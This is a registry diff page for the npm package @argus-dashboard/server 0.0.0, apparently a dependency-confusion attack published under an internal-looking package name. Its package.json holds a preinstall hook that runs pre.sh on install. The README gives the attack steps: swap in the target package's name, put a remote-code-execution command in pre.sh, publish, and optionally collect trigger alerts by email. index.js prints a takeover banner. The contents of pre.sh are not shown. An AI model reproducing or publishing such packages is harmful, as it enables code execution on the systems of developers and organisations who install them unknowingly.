@argus-dashboard/server 0.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @argus-dashboard/server might be problematic. Click here for more details.
- package/README.md +15 -0
- package/index.js +1 -0
- package/package.json +15 -0
- package/pre.sh +3 -0
package/README.md
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
# npmdc-poc
|
2
|
+
|
3
|
+
Template repository which contains dependency confusion poc for npm package
|
4
|
+
|
5
|
+
## Usage
|
6
|
+
|
7
|
+
1. Clone the repository
|
8
|
+
2. Update `package.json` file with the vulnerable package details
|
9
|
+
3. Update `pre.sh` without your RCE command
|
10
|
+
4. Publish the package
|
11
|
+
5. (Optional) `backend.php` (if you want to setup a php api which will email about the trigger)
|
12
|
+
|
13
|
+
## Disclaimer
|
14
|
+
|
15
|
+
This is only for educational purpose. User will be responsible for any usage of this.
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('================ TAKEOVER by Codermak ================')
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "@argus-dashboard/server",
|
3
|
+
"version": "0.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "./pre.sh @argus-dashboard/server"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/codermakhackerone"
|
12
|
+
},
|
13
|
+
"author": "",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|
package/pre.sh
ADDED